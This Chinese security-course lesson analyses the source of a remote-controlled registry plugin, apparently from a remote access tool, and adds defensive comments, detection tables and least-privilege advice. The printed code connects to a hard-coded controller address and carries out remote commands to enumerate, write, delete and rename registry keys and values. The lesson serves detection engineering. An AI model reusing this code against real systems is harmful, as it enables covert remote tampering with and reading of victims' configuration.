第 26 课:主插件:查注册表
# 第 26 课:主插件:查注册表
免责声明:本专栏仅用于安全工程学习研究,禁止使用本专栏介绍的技术做其他用途,否则后果自负,与本号无关。
本课定位:防御分析、源码阅读、注册表风险识别和企业检测工程。
本课只讲注册表插件的结构、数据流、风险面和检测思路,不提供未授权修改注册表、自启动持久化、策略绕改或破坏系统配置的操作步骤。
第 25 课讲的是文件管理模块,它直接处理终端文件系统。本课转向 Windows 另一块关键配置区域:注册表。
注册表保存了大量系统、用户、软件、服务、策略和文件关联配置。合法管理工具会读取注册表做资产盘点和配置核查;攻击工具也常滥用注册表做自启动、策略修改、文件关联劫持和配置隐藏。所以学习这一课时,要把重点放在两个问题上:
- 源码如何枚举和修改注册表?
- 企业如何把注册表访问行为纳入检测和加固?
本课主线如下:
查注册表插件入口
-> 创建 CTcpSocket / CUdpSocket
-> 连接主控端
-> 创建 CRegeditManager
-> 构造函数发送 TOKEN_REGEDIT
-> OnReceive 按注册表命令分发
-> ParseKey 选择根键
-> GetRegInfo / GetRegKey 枚举子键和值
-> CreateKey / CreateKeyEx / DeleteKey / DeleteVal / Rename 修改对象
-> 企业侧关联进程、API、根键、路径、值类型和网络会话
2
3
4
5
6
7
8
9
10
# 1. 本课学习目标
学完本课,你应该能回答这些问题:
| 问题 | 本课回答 |
|---|---|
| 查注册表插件在工程中做什么 | 通过 CRegeditManager 接收命令,枚举、创建、删除、写入和重命名注册表对象 |
| 为什么注册表模块风险高 | 注册表控制启动项、服务、策略、文件关联、应用配置和用户环境 |
REGMSG 起什么作用 | 描述回包或写入数据里的数量、名称长度和值长度 |
| 枚举注册表分成哪两部分 | GetRegInfo 枚举子键,GetRegKey 枚举值 |
| 写值支持哪些类型 | 源码覆盖 REG_SZ、REG_DWORD、REG_EXPAND_SZ 等 |
| 企业检测应关注什么 | 根键、路径、值名、值类型、API、进程、网络会话和结果 token |
# 2. 本课涉及源码目录和文件
| 文件 | 作用 |
|---|---|
主插件\查注册表\查注册表.sln | 查注册表插件解决方案 |
主插件\查注册表\查注册表\查注册表.cpp | 插件入口、连接选择、创建 CRegeditManager |
主插件\查注册表\查注册表\RegeditManager.h | 命令字、返回 token、REGMSG、类声明 |
主插件\查注册表\查注册表\RegeditManager.cpp | 注册表枚举、写入、删除、重命名核心实现 |

这个模块比文件管理模块小,但风险不低。原因是注册表不是普通数据文件,它会影响系统行为、软件启动、策略生效和用户环境。
# 3. 插件入口:连接后创建 CRegeditManager
入口模式与文件管理插件一致:选择 TCP/UDP,连接成功后创建管理器对象,进入事件循环。
// 源码位置:主插件\查注册表\查注册表\查注册表.cpp:7-41
// 防御分析注释:
// 1. 这是查注册表插件入口,只负责读取连接配置、建立 socket、创建 CRegeditManager。
// 2. plugInfo 保存远端地址、端口、协议类型和入口运行方式,可理解为“插件上线参数”。
// 3. MainThread 连接成功后创建 CRegeditManager,后续注册表命令都由 OnReceive 分发。
// 4. 注册表访问行为要与网络会话关联,否则只看 RegOpenKeyEx 很难判断上下文。
struct plugInfo
{
char mark[30]; // 配置定位标记,常用于在二进制中寻找配置块。
TCHAR szAddress[255]; // 远端地址;要和注册表 API 行为、进程路径一起关联。
DWORD szPort; // 远端端口;端口本身不是风险,关键是连接后的注册表能力。
BOOL IsTcp; // 通信协议选择;同一注册表能力可复用 TCP 或 UDP。
BOOL RunDllEntryProc; // DLL 入口运行模式标志;影响插件退出行为。
} MyInfo =
{
"plugmark",
_T("192.168.50.142"),
5554,
1,
0,
};
DWORD WINAPI MainThread(LPVOID dllMainThread)
{
ISocketBase* socketClient;
// 触发点 1:根据配置选择通信对象。
// 检测时不要只依赖固定协议或固定端口。
if (MyInfo.IsTcp == 1)
socketClient = new CTcpSocket();
else
socketClient = new CUdpSocket();
// 触发点 2:连接成功后创建 CRegeditManager。
// 构造函数会发送 TOKEN_REGEDIT,随后等待主控端下发注册表命令。
if (socketClient->Connect(MyInfo.szAddress, MyInfo.szPort))
{
CRegeditManager manager(socketClient);
socketClient->run_event_loop();
}
SAFE_DELETE(socketClient);
if (MyInfo.RunDllEntryProc)
ExitProcess(0);
return 0;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
这一段的安全含义和前面几课一致:真正危险的不是“有一个 socket”,而是 socket 后面连接着什么能力。这里连接的是注册表读取和修改能力。
# 4. 命令面总览

先看 RegeditManager.h 里的命令字和类声明。这个模块的命令面非常集中:
| 命令 | 作用 | 防御关注 |
|---|---|---|
COMMAND_REG_ENUM | 枚举子键和值 | 是否批量读取敏感根键和关键路径 |
COMMAND_REG_CREATEKEY | 创建子键 | 是否创建启动项、服务或策略相关键 |
COMMAND_REG_CREATKEY | 创建或写入值 | 值类型、值名、数据内容和目标路径 |
COMMAND_REG_DELKEY | 删除子键 | 可能破坏系统配置或清理痕迹 |
COMMAND_REG_DELVAL | 删除值 | 可能关闭安全策略或破坏应用配置 |
COMMAND_REG_RENAME | 重命名键 | 可能影响追踪和配置一致性 |
// 源码位置:主插件\查注册表\查注册表\RegeditManager.h:5-28
// 防御分析注释:
// 1. TOKEN_* 是插件回包类型,COMMAND_* 是主控端请求类型。
// 2. TOKEN_REG_INFO 和 TOKEN_REG_KEY 分别回传子键列表和值列表。
// 3. TOKEN_REG_ERROR / TOKEN_REG_SUCCEED 表示操作结果,可用于审计成功率和失败探测。
// 4. COMMAND_REG_CREATKEY 名称容易误导,源码里它实际负责按类型写入值。
enum
{
// ===== 回包 token:说明返回内容是子键、值,还是操作结果 =====
TOKEN_REG_INFO,
TOKEN_REG_KEY,
TOKEN_REG_ERROR,
TOKEN_REG_SUCCEED,
// ===== 命令:读取、创建、删除、写值、删值、重命名 =====
COMMAND_REG_ENUM,
COMMAND_REG_CREATEKEY,
COMMAND_REG_DELKEY,
COMMAND_REG_CREATKEY,
COMMAND_REG_DELVAL,
COMMAND_REG_RENAME
};
struct REGMSG
{
int count; // 子键数量、值数量或字符串长度;含义随 GetRegInfo/GetRegKey/写入场景变化。
DWORD size; // 名称缓冲区大小,主控端解包时依赖它切分字段。
DWORD valsize; // 值数据缓冲区大小,读取注册表值时用于定位数据块。
};
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// 源码位置:主插件\查注册表\查注册表\RegeditManager.h:29-72
// 防御分析注释:
// 1. CRegeditManager 既能读注册表,也能修改注册表。
// 2. m_hKey 保存当前操作根键或已打开子键,函数间会复用这个句柄。
// 3. MKEY 通常保存枚举时选择的根键,KeyPath 保存当前枚举路径。
// 4. 检测和审计时必须同时记录根键、子路径、值名、值类型和进程上下文。
class CRegeditManager : public CManager
{
public:
BOOL m_buser;
CRegeditManager(ISocketBase* pClient);
virtual ~CRegeditManager();
void OnReceive(LPBYTE lpBuffer, UINT nSize);
private:
void EnumReg(BYTE bToken, LPBYTE lpBuffer);
LPBYTE GetRegInfo();
LPBYTE GetRegKey();
void CreateKey(LPBYTE lpBuffer);
void DeleteVal(char* buf);
void DeleteKey(LPBYTE lpBuffer);
void Rename(char* buf);
void CreateKeyEx(char* buf);
BOOL OpenKey(LPCTSTR lpSubKey);
BOOL WriteValue(LPCTSTR lpSubKey, LPCTSTR lpVal);
BOOL WriteValue(LPCTSTR lpSubKey, DWORD dwVal);
BOOL WriteBuf(LPCTSTR lpValueName, LPCTSTR lpValue);
HKEY m_hKey; // 当前打开的键;写入、删除等函数会依赖它。
HKEY m_hKey_n; // 辅助句柄,具体使用场景随实现变化。
HKEY MKEY; // 当前枚举根键,例如 HKLM/HKCU。
TCHAR KeyPath[MAX_PATH]; // 当前子路径;这是注册表审计里最核心的字段。
};
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# 5. 构造函数:发送注册表模块 token
构造函数很短,但它有一个关键动作:发送 TOKEN_REGEDIT。这相当于告诉主控端:“注册表插件已经上线,可以开始发送注册表命令”。
// 源码位置:主插件\查注册表\查注册表\RegeditManager.cpp:11-18
// 防御分析注释:
// 1. 构造函数创建后立即发送 TOKEN_REGEDIT。
// 2. 这类模块识别 token 可作为网络协议侧检测线索,早于具体 Reg* API 调用。
// 3. m_buser 被置为 TRUE,表示管理器已进入可用状态。
CRegeditManager::CRegeditManager(ISocketBase* pClient) : CManager(pClient)
{
m_buser = FALSE;
// 主动告诉主控端:注册表模块已经准备好。
BYTE bToken = TOKEN_REGEDIT;
Send(&bToken, 1);
m_buser = TRUE;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
如果网络检测能识别协议 token,就能在真正写注册表之前发现模块类型。即使不能解码 token,也可以通过“连接建立后紧接着大量注册表 API 调用”做行为检测。
# 6. OnReceive:注册表命令分发器
OnReceive 负责把命令字分发到具体函数。
// 源码位置:主插件\查注册表\查注册表\RegeditManager.cpp:24-50
// 防御分析注释:
// 1. lpBuffer[0] 是命令字,决定后续读取还是修改注册表。
// 2. lpBuffer 后续区域通常包含根键标识、子路径、值名、值类型和值数据。
// 3. COMMAND_REG_ENUM 走 EnumReg,读取注册表。
// 4. CREATEKEY、CREATKEY、DELKEY、DELVAL、RENAME 都会改变注册表对象或值。
void CRegeditManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
// 心跳包不触发注册表操作。
if (lpBuffer[0] == TOKEN_HEARTBEAT) return;
switch (lpBuffer[0])
{
case COMMAND_REG_ENUM:
// 枚举命令:如果包里带了根键和路径,就枚举指定位置;
// 否则枚举默认根位置。连续枚举敏感路径是数据发现行为。
if (nSize >= 3 * sizeof(TCHAR))
EnumReg(lpBuffer[sizeof(TCHAR)], lpBuffer + 2 * sizeof(TCHAR));
else
EnumReg(sizeof(TCHAR), NULL);
break;
case COMMAND_REG_CREATEKEY:
// 创建子键。写入启动项、服务、策略等位置时风险较高。
CreateKey(lpBuffer + sizeof(TCHAR));
break;
case COMMAND_REG_DELKEY:
// 删除子键。删除动作比读取动作风险更高,应单独告警。
DeleteKey(lpBuffer + sizeof(TCHAR));
break;
case COMMAND_REG_DELVAL:
// 删除值。常用于关闭配置、清理痕迹或破坏应用设置。
DeleteVal((char*)lpBuffer + 1);
break;
case COMMAND_REG_CREATKEY:
// 写入值。名称虽然像“创建键”,实际会根据值类型写 REG_SZ/REG_DWORD/REG_EXPAND_SZ。
CreateKeyEx((char*)lpBuffer + 1);
break;
case COMMAND_REG_RENAME:
// 重命名键。可能影响配置追踪和程序行为。
Rename((char*)lpBuffer + 1);
break;
}
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
这一段要注意两个命名细节:
COMMAND_REG_CREATEKEY创建的是子键。COMMAND_REG_CREATKEY名字少了一个E,但源码里它根据值类型写入REG_SZ、REG_DWORD、REG_EXPAND_SZ。
# 7. 根键选择:ParseKey

注册表操作的第一步是确定根键。源码通过一个字节映射到五个常见根键。
// 源码位置:主插件\查注册表\查注册表\RegeditManager.cpp:312-335
// 防御分析注释:
// 1. bType 来自命令包,用于选择注册表根键。
// 2. m_hKey 是后续 OpenKey、CreateKey、DeleteKey 等操作的起点。
// 3. 默认分支落到 HKEY_LOCAL_MACHINE,安全风险较高,因为 HKLM 影响系统级配置。
// 4. 企业检测要记录根键,不同根键代表完全不同的风险面。
void CRegeditManager::ParseKey(BYTE bType)
{
switch (bType)
{
case MHKEY_CLASSES_ROOT:
// 文件关联、COM、Shell 扩展等配置,适合关注劫持类风险。
m_hKey = HKEY_CLASSES_ROOT;
break;
case MHKEY_CURRENT_USER:
// 当前用户配置,常见于用户级启动项和应用设置。
m_hKey = HKEY_CURRENT_USER;
break;
case MHKEY_LOCAL_MACHINE:
// 系统级配置,服务、驱动、安全策略和软件配置通常在这里。
m_hKey = HKEY_LOCAL_MACHINE;
break;
case MHKEY_USERS:
// 多用户配置视图,适合排查非当前用户的配置变化。
m_hKey = HKEY_USERS;
break;
case MHKEY_CURRENT_CONFIG:
// 当前硬件配置,通常关注驱动和硬件相关设置。
m_hKey = HKEY_CURRENT_CONFIG;
break;
default:
// 默认落到 HKLM。真实工程中更建议拒绝未知类型,而不是默认到高风险根键。
m_hKey = HKEY_LOCAL_MACHINE;
break;
}
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
不同根键的安全意义不同:
| 根键 | 常见内容 | 检测重点 |
|---|---|---|
HKEY_CLASSES_ROOT | 文件关联、COM、Shell 动作 | 文件打开方式、脚本处理器、COM 劫持线索 |
HKEY_CURRENT_USER | 当前用户配置 | 用户级启动项、应用配置、登录脚本 |
HKEY_LOCAL_MACHINE | 系统级配置 | 服务、驱动、策略、安全产品配置 |
HKEY_USERS | 多用户配置映射 | 其他用户配置变更 |
HKEY_CURRENT_CONFIG | 当前硬件配置 | 驱动和硬件配置变化 |
本课不会讲如何设置自启动或修改策略,只强调这些位置为什么需要被监控。
# 8. 打开键:OpenKey 使用 KEY_ALL_ACCESS
源码里打开子键时使用了 KEY_ALL_ACCESS,这意味着只要权限允许,后续可以读取、写入和删除。
// 源码位置:主插件\查注册表\查注册表\RegeditManager.cpp:336-347
// 防御分析注释:
// 1. OpenKey 使用当前 m_hKey 作为根键,lpSubKey 是命令包提供的子路径。
// 2. KEY_ALL_ACCESS 权限过宽,合法工具应尽量按需使用 KEY_READ 或 KEY_SET_VALUE。
// 3. 打开失败也值得记录,连续访问被拒绝可能代表探测高权限位置。
// 4. 成功打开敏感路径后,如果紧接着写入或删除,风险等级更高。
BOOL CRegeditManager::OpenKey(LPCTSTR lpSubKey)
{
HKEY hKey;
// 这里不只是“读取打开”,而是申请全部访问权限。
// 对只枚举的场景,KEY_READ 更符合最小权限原则。
long lReturn = RegOpenKeyEx(m_hKey, lpSubKey, 0L, KEY_ALL_ACCESS, &hKey);
if (lReturn == ERROR_SUCCESS)
{
// 用已打开句柄替换 m_hKey,后续写入/删除会基于这个键。
m_hKey = hKey;
return TRUE;
}
return FALSE;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
对合法软件来说,最小权限原则非常重要:只读枚举就不应申请 KEY_ALL_ACCESS。权限申请过宽会让误操作和滥用的风险都变大。
# 9. 枚举流程:子键和值分开回传

EnumReg 是枚举入口。它先选择根键和路径,再分别调用:
GetRegInfo:枚举子键。GetRegKey:枚举当前键下面的值。
// 源码位置:主插件\查注册表\查注册表\RegeditManager.cpp:510-560
// 防御分析注释:
// 1. EnumReg 是 COMMAND_REG_ENUM 的落点。
// 2. bToken 表示根键,lpBuffer 表示子路径。
// 3. GetRegInfo 回传子键信息,GetRegKey 回传值信息。
// 4. 同一会话里连续枚举 HKCU/HKLM 下敏感路径,应作为数据发现行为。
void CRegeditManager::EnumReg(BYTE bToken, LPBYTE lpBuffer)
{
ZeroMemory(KeyPath, MAX_PATH);
// 先把命令包里的根键标识转换为真实 HKEY。
// 这里使用 MKEY 保存枚举根键,避免和 m_hKey 的写入/删除上下文混淆。
switch (bToken)
{
case MHKEY_CLASSES_ROOT:
MKEY = HKEY_CLASSES_ROOT;
break;
case MHKEY_CURRENT_USER:
MKEY = HKEY_CURRENT_USER;
break;
case MHKEY_LOCAL_MACHINE:
MKEY = HKEY_LOCAL_MACHINE;
break;
case MHKEY_USERS:
MKEY = HKEY_USERS;
break;
case MHKEY_CURRENT_CONFIG:
MKEY = HKEY_CURRENT_CONFIG;
break;
default:
MKEY = HKEY_LOCAL_MACHINE;
break;
}
// 子路径来自网络命令包。合法工具应做路径允许范围控制。
if (lpBuffer != NULL)
lstrcpy(KeyPath, (TCHAR*)lpBuffer);
// 第一段回包:子键列表。
LPBYTE lpTemp = GetRegInfo();
if (lpTemp == NULL)
SendError();
else
Send(lpTemp, (int)(LocalSize(lpTemp)));
// 第二段回包:当前键下面的值列表。
lpTemp = GetRegKey();
if (lpTemp != NULL)
Send(lpTemp, (int)(LocalSize(lpTemp)));
else
SendError();
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
这里的设计很适合教学:一个注册表路径下面有两类东西,子键和值。源码把它们分成两个包回传,新手可以把它理解成:
注册表键
-> 子键列表:像文件夹
-> 值列表:像文件夹里的配置项
2
3
# 10. GetRegInfo:枚举子键
GetRegInfo 使用 RegQueryInfoKey 获取子键数量和最大长度,再用 RegEnumKeyEx 枚举每个子键。它还会打开子键判断该子键下面是否还有子键。
// 源码位置:主插件\查注册表\查注册表\RegeditManager.cpp:428-505
// 防御分析注释:
// 1. RegOpenKeyEx 打开当前根键 + KeyPath。
// 2. RegQueryInfoKey 获取子键数量和最大长度,为后续缓冲区分配提供依据。
// 3. RegEnumKeyEx 遍历子键名。
// 4. TOKEN_REG_INFO 回传子键名和是否还有子键,便于主控端展示树形结构。
// 5. 从检测角度看,枚举本身不是问题,关键是“谁在枚举、枚举哪里、之后是否写入/删除”。
LPBYTE CRegeditManager::GetRegInfo()
{
LPBYTE buf = NULL;
HKEY hKey;
// 打开当前路径。这里仍使用 KEY_ALL_ACCESS,权限范围大于只读枚举所需。
if (RegOpenKeyEx(MKEY, KeyPath, 0, KEY_ALL_ACCESS, &hKey) == ERROR_SUCCESS)
{
// 读取当前键下子键和值的统计信息。
RegQueryInfoKey(hKey, NULL, NULL, NULL,
&KeyCnt, &KeyMaxLen, NULL,
&NameCnt, &NameMaxLen, &MaxDateLen,
NULL, NULL);
buf = (LPBYTE)LocalAlloc(LPTR, datasize);
buf[0] = TOKEN_REG_INFO;
// REGMSG 告诉主控端:有多少个子键、每个名称字段多大。
REGMSG msg;
msg.size = KeySize;
msg.count = KeyCnt;
memcpy(buf + 1, &msg, sizeof(REGMSG) + 1);
for (dwIndex = 0; dwIndex < KeyCnt; dwIndex++)
{
// 逐个枚举子键名。
RegEnumKeyEx(hKey, dwIndex, szBuffer, &lpcbName,
NULL, NULL, NULL, NULL);
// 打开子键判断它是否还有下级子键,用于主控端树形展开图标。
RegOpenKeyEx(hKey, szBuffer, 0, KEY_READ, &hkResult);
IsHaveSubkeys(dwSubs);
// 字段 1:是否还有子键;字段 2:子键名称。
memcpy(buf + dwIndex * KeySize + size, &bRet, sizeof(BOOL));
memcpy(buf + dwIndex * KeySize + size + sizeof(BOOL),
szBuffer, lpcbName * sizeof(TCHAR));
}
}
return buf;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
防御侧可以把 RegEnumKeyEx 作为枚举信号,但更关键的是路径。例如枚举普通软件配置和枚举服务、启动项、安全策略,风险等级完全不同。
# 11. GetRegKey:枚举值名、类型和值数据
GetRegKey 枚举的是当前键下的值。它记录值类型,把 Windows 原生类型映射到模块内部的 MREG_* 类型。
// 源码位置:主插件\查注册表\查注册表\RegeditManager.cpp:563-637
// 防御分析注释:
// 1. GetRegKey 枚举的是“当前键下的值”,不是子键。
// 2. RegEnumValue 读取值名、类型和值数据。
// 3. REG_SZ、REG_DWORD、REG_BINARY、REG_EXPAND_SZ 会被映射为 MREG_*。
// 4. 读取敏感路径下的值数据可能暴露启动命令、服务路径、策略状态或应用配置。
LPBYTE CRegeditManager::GetRegKey()
{
// 打开当前枚举路径。只读枚举理论上使用 KEY_READ 即可。
if (RegOpenKeyEx(MKEY, KeyPath, 0, KEY_ALL_ACCESS, &hKey) == ERROR_SUCCESS)
{
// NameCnt 是值数量,NameMaxLen/MaxDateLen 用于计算回包字段大小。
RegQueryInfoKey(hKey, NULL, NULL, NULL,
&KeyCnt, &KeyMaxLen, NULL,
&NameCnt, &NameMaxLen, &MaxDateLen,
NULL, NULL);
buf = (LPBYTE)LocalAlloc(LPTR, size);
buf[0] = TOKEN_REG_KEY;
memcpy(buf + 1, (void*)&msg, sizeof(REGMSG));
for (dwIndex = 0; dwIndex < NameCnt; dwIndex++)
{
// 枚举值名、值类型和值数据。
RegEnumValue(hKey, dwIndex, szValueName, &NameSize,
NULL, &Type, szValueDate, &DataSize);
// 把 Windows 原生注册表类型映射为模块内部类型,便于主控端展示和后续写回。
if (Type == REG_SZ)
tmp[0] = MREG_SZ;
if (Type == REG_DWORD)
tmp[0] = MREG_DWORD;
if (Type == REG_BINARY)
tmp[0] = MREG_BINARY;
if (Type == REG_EXPAND_SZ)
tmp[0] = MREG_EXPAND_SZ;
// 回包字段:值名 + 值数据。
// 防御侧要注意值数据可能包含路径、命令行、URL、令牌或业务配置。
memcpy(tmp, szValueName, msg.size);
memcpy(tmp, szValueDate, msg.valsize);
}
}
return buf;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
值类型很重要。比如 REG_EXPAND_SZ 可能包含环境变量路径,REG_DWORD 常用于开关类配置,REG_SZ 常用于命令、路径和字符串配置。检测时不能只看路径,也要看值名和值类型。
# 12. 写入值:CreateKeyEx 与 WriteValue
源码把不同值类型分发到不同函数:字符串、DWORD、可扩展字符串。这里不讲如何构造命令包,只看源码行为和风险。
// 源码位置:主插件\查注册表\查注册表\RegeditManager.cpp:187-217
// 防御分析注释:
// 1. CreateKeyEx 是 COMMAND_REG_CREATKEY 的落点,名称像创建键,实际按类型写入值。
// 2. buf[0] 是内部值类型,buf + 1 后面才是具体路径、值名和值数据。
// 3. 写入注册表值是高风险动作,尤其目标在启动项、服务、策略和文件关联路径。
// 4. 合法工具应记录写入前后值、操作者、原因和审批编号。
enum KEYVALUE
{
MREG_SZ,
MREG_DWORD,
MREG_BINARY,
MREG_EXPAND_SZ
};
void CRegeditManager::CreateKeyEx(char* buf)
{
// 根据值类型分发到不同写入函数。
// 本课只做防御阅读,不展开命令包构造方式。
switch (buf[0])
{
case MREG_SZ:
// 写入普通字符串,常用于路径、命令行、配置项。
CreatSTR(buf + 1);
break;
case MREG_DWORD:
// 写入 DWORD,常用于开关类策略和状态字段。
CreatDWORD(buf + 1);
break;
case MREG_EXPAND_SZ:
// 写入可扩展字符串,可能包含 %SystemRoot% 等环境变量。
CreatEXSTR(buf + 1);
break;
}
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
// 源码位置:主插件\查注册表\查注册表\RegeditManager.cpp:165-180
// 防御分析注释:
// 1. RegSetValueEx 是写注册表值的核心 API。
// 2. REG_SZ 和 REG_DWORD 在配置修改、启动项、策略开关中很常见。
// 3. m_hKey 必须已经由 ParseKey/OpenKey/MyCreateKey 等路径设置好。
// 4. 检测侧应保留旧值、新值、值类型和进程上下文。
BOOL CRegeditManager::WriteValue(LPCTSTR lpValueName, LPCTSTR lpValue)
{
// 写入字符串值。lpValueName 是值名,lpValue 是具体字符串数据。
// 如果字符串看起来像路径或命令行,应继续做路径归一化和签名校验。
long lReturn = RegSetValueEx(m_hKey, lpValueName, 0L,
REG_SZ,
(const BYTE*)lpValue,
(lstrlen(lpValue) + 1) * sizeof(TCHAR));
return lReturn == ERROR_SUCCESS;
}
BOOL CRegeditManager::WriteValue(LPCTSTR lpSubKey, DWORD dwVal)
{
// 写入 DWORD 值。很多安全策略和应用开关都使用 DWORD,误改影响较大。
long lReturn = RegSetValueEx(m_hKey, lpSubKey, 0L,
REG_DWORD,
(const BYTE*)&dwVal,
sizeof(DWORD));
return lReturn == ERROR_SUCCESS;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// 源码位置:主插件\查注册表\查注册表\RegeditManager.cpp:253-263
// 防御分析注释:
// 1. REG_EXPAND_SZ 可以保存带环境变量的路径。
// 2. 这类值常见于路径类配置,检测时应展开后再判断真实目标。
// 3. 例如同一值在日志中看起来是变量路径,实际展开后可能指向用户目录或临时目录。
BOOL CRegeditManager::WriteBuf(LPCTSTR lpValueName, LPCTSTR lpValue)
{
// 写入可扩展字符串。检测时不要只做原始字符串匹配,还要展开环境变量。
long lReturn = RegSetValueEx(m_hKey, lpValueName, 0L,
REG_EXPAND_SZ,
(const BYTE*)lpValue,
(lstrlen(lpValue) + 1) * sizeof(TCHAR));
return lReturn == ERROR_SUCCESS;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
# 13. 创建、删除和重命名键

创建和删除子键是配置变更,重命名键则可能影响配置追踪。源码里使用了 RegCreateKeyEx、RegDeleteKey、RegDeleteValue 和动态获取的 RegRenameKey。
// 源码位置:主插件\查注册表\查注册表\RegeditManager.cpp:377-404
// 防御分析注释:
// 1. RegCreateKeyEx 使用 KEY_ALL_ACCESS 创建或打开子键。
// 2. 创建服务、启动项、策略、文件关联相关子键时风险较高。
// 3. 合法工具应限制可创建路径,并保留变更记录。
// 4. dw 会告诉调用者是新建还是打开已有键,审计中这两种情况应区分。
BOOL CRegeditManager::MyCreateKey(LPCTSTR lpSubKey)
{
HKEY hKey;
DWORD dw;
// 创建或打开子键。REG_OPTION_NON_VOLATILE 表示重启后仍保留。
long lReturn = RegCreateKeyEx(m_hKey, lpSubKey, 0L, NULL,
REG_OPTION_NON_VOLATILE,
KEY_ALL_ACCESS, NULL, &hKey, &dw);
if (lReturn == ERROR_SUCCESS)
{
// 更新当前键句柄,后续可继续写值。
m_hKey = hKey;
return TRUE;
}
return FALSE;
}
void CRegeditManager::CreateKey(LPBYTE lpBuffer)
{
// 命令包第一个字段是根键类型,后面是子键路径。
ParseKey(lpBuffer[0]);
if (MyCreateKey((TCHAR*)(lpBuffer + sizeof(TCHAR))))
SendSucceed();
else
SendError();
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// 源码位置:主插件\查注册表\查注册表\RegeditManager.cpp:349-375
// 防御分析注释:
// 1. RegDeleteValue 删除值,RegDeleteKey 删除子键。
// 2. 删除安全配置、启动项、服务参数或业务软件配置可能造成严重影响。
// 3. 删除动作应比读取动作更高优先级告警。
// 4. 审计时要记录删除前的值数据,否则事后很难恢复上下文。
BOOL CRegeditManager::DeleteValue(LPCTSTR lpValueName)
{
// 删除当前 m_hKey 下的指定值名。
long lReturn = RegDeleteValue(m_hKey, lpValueName);
return lReturn == ERROR_SUCCESS;
}
BOOL CRegeditManager::MyDeleteKey(LPCTSTR lpSubKey)
{
// 删除当前根键下的子键。经典 RegDeleteKey 只删除空子键,递归删除需要其他逻辑。
long lReturn = RegDeleteKey(m_hKey, lpSubKey);
return lReturn == ERROR_SUCCESS;
}
void CRegeditManager::DeleteKey(LPBYTE lpBuffer)
{
// 先选择根键,再删除指定子路径。
ParseKey(lpBuffer[0]);
if (MyDeleteKey((LPCTSTR)(lpBuffer + sizeof(TCHAR))))
SendSucceed();
else
SendError();
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// 源码位置:主插件\查注册表\查注册表\RegeditManager.cpp:55-93
// 防御分析注释:
// 1. Rename 动态解析 RegRenameKey,因为该 API 并非所有旧系统环境都直接可用。
// 2. buf 中包含根键类型、旧路径长度、新路径长度、旧路径和新路径。
// 3. 重命名注册表键可能影响配置追踪,也可能破坏依赖固定路径的程序。
// 4. 检测侧应记录旧路径、新路径、根键、调用进程和结果。
void CRegeditManager::Rename(char* buf)
{
// 第一个字节选择根键。
ParseKey(buf[0]);
// 后续两个 int 表示旧路径和新路径长度,用于从连续缓冲区中切分字符串。
memcpy(&oldsize, buf + 1, sizeof(int));
memcpy(&newsize, buf + 1 + sizeof(int), sizeof(int));
// 动态加载 ADVAPI32 并解析 RegRenameKey。
// 这种动态解析 API 的方式也可作为行为特征之一。
HMODULE hModNtdll = LoadLibraryW(L"ADVAPI32.dll");
typedef LSTATUS(WINAPI* pfRegRenameKey)(
HKEY hKey,
LPCWSTR lpSubKeyName,
LPCWSTR lpNewKeyName);
pfRegRenameKey pfuRegRenameKey =
(pfRegRenameKey)GetProcAddress(hModNtdll, "RegRenameKey");
// 注意:RegRenameKey 成功时返回 ERROR_SUCCESS,也就是 0。
// 阅读源码时要关注条件判断是否符合 Windows API 返回约定。
if (pfuRegRenameKey && pfuRegRenameKey(m_hKey, path_old, path_new))
SendSucceed();
else
SendError();
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# 14. 重点观察区域
本课不提供任何修改这些位置的步骤,只说明为什么它们在企业安全中敏感。
| 区域 | 风险原因 | 检测建议 |
|---|---|---|
| 启动项相关位置 | 程序登录后自动运行 | 记录新建、写入、删除、重命名 |
| 服务相关位置 | 控制服务启动、镜像路径和参数 | 关联服务创建、二进制路径和签名 |
| 策略相关位置 | 影响安全产品、防火墙、UAC、脚本限制等 | 对非授权进程写入直接告警 |
| Winlogon / Shell / Userinit | 影响登录和外壳加载链 | 任何变更都应重点复核 |
| Classes / Shell / OpenWith / COM | 影响文件打开方式和 COM 加载 | 关注脚本、DLL、可执行路径变化 |
| 应用配置和凭据线索 | 可能包含连接配置、令牌或账户信息 | 读取和导出都需要记录 |
注册表检测不能只维护一个“黑名单路径”。更现实的做法是按业务资产分层:终端基线、服务器基线、安全产品配置、办公软件配置、开发工具配置分别建立允许变更范围。
# 15. x86/x64、WoW64 与注册表视图差异
